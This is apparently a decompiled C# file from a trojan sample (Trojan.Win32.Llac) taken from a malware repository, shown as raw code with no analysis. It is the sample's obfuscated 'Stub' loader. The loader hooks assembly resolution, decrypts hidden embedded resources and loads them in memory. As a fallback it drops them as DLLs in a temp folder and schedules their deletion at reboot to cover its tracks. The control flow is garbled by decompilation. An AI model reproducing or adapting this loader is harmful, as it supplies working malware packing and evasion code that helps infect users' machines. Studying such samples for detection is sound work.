// Decompiled with JetBrains decompiler // Type: . // Assembly: Stub, Version=10.1.0.54, Culture=neutral, PublicKeyToken=null // MVID: B6CAF90E-24AA-429E-AF0C-6337F759D114 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.ahnf-f30db11729cf0ce10842f0156b52feff345150c4261b159be49f67b8f7170c85.exe using \u0003; using \u0004; using System; using System.Collections; using System.IO; using System.Reflection; using System.Runtime.InteropServices; using System.Text; namespace \u0004 { internal class \u0002 { private static Hashtable \u0001 = new Hashtable(); [DllImport("kernel32", EntryPoint = "MoveFileEx")] private static extern bool \u0002([In] string obj0, [In] string obj1, [In] int obj2); internal static void \u0002() { try { AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002.\u0002); } catch { } } internal static Assembly \u0002([In] object obj0, [In] ResolveEventArgs obj1) { \u0002.\u0001 obj = new \u0002.\u0001(obj1.Name); string base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0002(false))); string[] strArray; string str1; bool flag1; bool flag2; int index1; if (true) { strArray = "ezJmNmJkMmIyLTYxYjEtNDg2Yi05MGE1LTdmMTFhOWIwYzVjM30sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{2f6bd2b2-61b1-486b-90a5-7f11a9b0c5c3},e2FmNWJjNTA3LTk1MTktNDk3NS1hYzNjLWYyMTA2OTEzYjhiYX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{af5bc507-9519-4975-ac3c-f2106913b8ba},ezI1ZGFkYzZlLTRhNmEtNGExYy1hODJjLWJlMGJiMzU3ZGJjYX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{25dadc6e-4a6a-4a1c-a82c-be0bb357dbca},e2E4N2I2MjU4LWNkNTYtNDdmZC1iNTU2LTY4ZDY1NzIwNTJiM30sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{a87b6258-cd56-47fd-b556-68d6572052b3},e2YyNTc4ZTA0LTUzZDEtNGE2Ni1iZGJlLTEzMDY2MDZmMDMxYn0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{f2578e04-53d1-4a66-bdbe-1306606f031b}".Split(','); str1 = string.Empty; flag1 = false; flag2 = false; index1 = 0; goto label_6; } else goto label_18; label_3: int num1; if (num1 != 0) { str1 = strArray[index1 + 1]; goto label_9; } else index1 += 2; label_6: int num2 = index1; int num3 = strArray.Length; int num4 = num2; label_7: int num5 = num3 - 1; label_8: if (num4 < num5) { num1 = strArray[index1] == base64String ? 1 : 0; goto label_3; } label_9: if (str1.Length == 0 && obj.\u0003.Length == 0) base64String = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001)); else goto label_16; label_11: for (int index2 = 0; index2 < strArray.Length - 1; index2 += 2) { if (strArray[index2] == base64String) { str1 = strArray[index2 + 1]; break; } } label_16: if (true) { if (str1.Length <= 0) goto label_43; } else goto label_11; label_18: num4 = (int) str1[0]; num3 = 0; if (num3 == 0) { if (num3 != 0) { num1 = num4; goto label_3; } else { if (num4 == 91) { int num6 = str1.IndexOf(']'); string str2 = str1.Substring(1, num6 - 1); int num7 = str2.IndexOf('z'); int num8 = 0; if (num8 != 0) { num5 = num8; num4 = num7; goto label_8; } else { flag1 = num7 >= num8; flag2 = str2.IndexOf('t') >= 0; str1 = str1.Substring(num6 + 1); } } lock (\u0002.\u0001) { label_25: int num9; for (int index3 = \u0002.\u0001.ContainsKey((object) str1) ? 1 : 0; index3 == 0; index3 = num9) { Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1); if (manifestResourceStream != null) { int length = (int) manifestResourceStream.Length; byte[] numArray = new byte[length]; manifestResourceStream.Read(numArray, 0, length); if (flag1) numArray = \u0002.\u0002(numArray); Assembly assembly; do { assembly = (Assembly) null; if (!flag2) { try { assembly = Assembly.Load(numArray); } catch (FileLoadException ex) { flag2 = true; } catch (BadImageFormatException ex) { flag2 = true; } } if (flag2) { try { string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); Directory.CreateDirectory(path1); string path2 = path1 + obj.\u0001 + ".dll"; if (!File.Exists(path2)) { FileStream fileStream = File.OpenWrite(path2); fileStream.Write(numArray, 0, numArray.Length); fileStream.Close(); \u0002.\u0002(path2, (string) null, 4); \u0002.\u0002(path1, (string) null, 4); } assembly = Assembly.LoadFile(path2); } catch { } } num9 = -1; if (num9 == 0) goto label_25; } while (num9 == 0); \u0002.\u0001[(object) str1] = (object) assembly; return assembly; } goto label_43; } return (Assembly) \u0002.\u0001[(object) str1]; } } } else goto label_7; label_43: if (true) return (Assembly) null; goto label_9; } internal struct \u0001 { public string \u0001; public Version \u0001; public string \u0002; public string \u0003; public string \u0002([In] bool obj0) { StringBuilder stringBuilder = new StringBuilder(); stringBuilder.Append(this.\u0001); label_11: int num1 = obj0 ? 1 : 0; while (true) { if (num1 != 0) { int num2 = this.\u0001 != (Version) null ? 1 : 0; if (false) num1 = num2; else if (num2 == 0) goto label_4; else goto label_13; } else goto label_4; } goto label_5; label_4: stringBuilder.Append(", Culture="); num1 = 0; label_5: if (num1 == 0) { while (true) { if (true) { if (true) { stringBuilder.Append(this.\u0002.Length == 0 ? "neutral" : this.\u0002); stringBuilder.Append(", PublicKeyToken="); stringBuilder.Append(this.\u0003.Length == 0 ? "null" : this.\u0003); goto label_10; } else goto label_11; } } goto label_13; } label_10: return stringBuilder.ToString(); label_13: stringBuilder.Append(", Version="); stringBuilder.Append((object) this.\u0001); goto label_4; } public \u0001([In] string obj0) { this.\u0001 = (Version) null; this.\u0002 = string.Empty; this.\u0003 = string.Empty; this.\u0001 = string.Empty; string str1 = obj0; char[] chArray = new char[1]{ ',' }; foreach (string str2 in str1.Split(chArray)) { string str3 = str2.Trim(); if (str3.StartsWith("Version=")) this.\u0001 = new Version(str3.Substring(8)); else if (str3.StartsWith("Culture=")) { this.\u0002 = str3.Substring(8); if (this.\u0002 == "neutral") this.\u0002 = string.Empty; } else if (str3.StartsWith("PublicKeyToken=")) { this.\u0003 = str3.Substring(15); if (this.\u0003 == "null") this.\u0003 = string.Empty; } else this.\u0001 = str3; } } } } }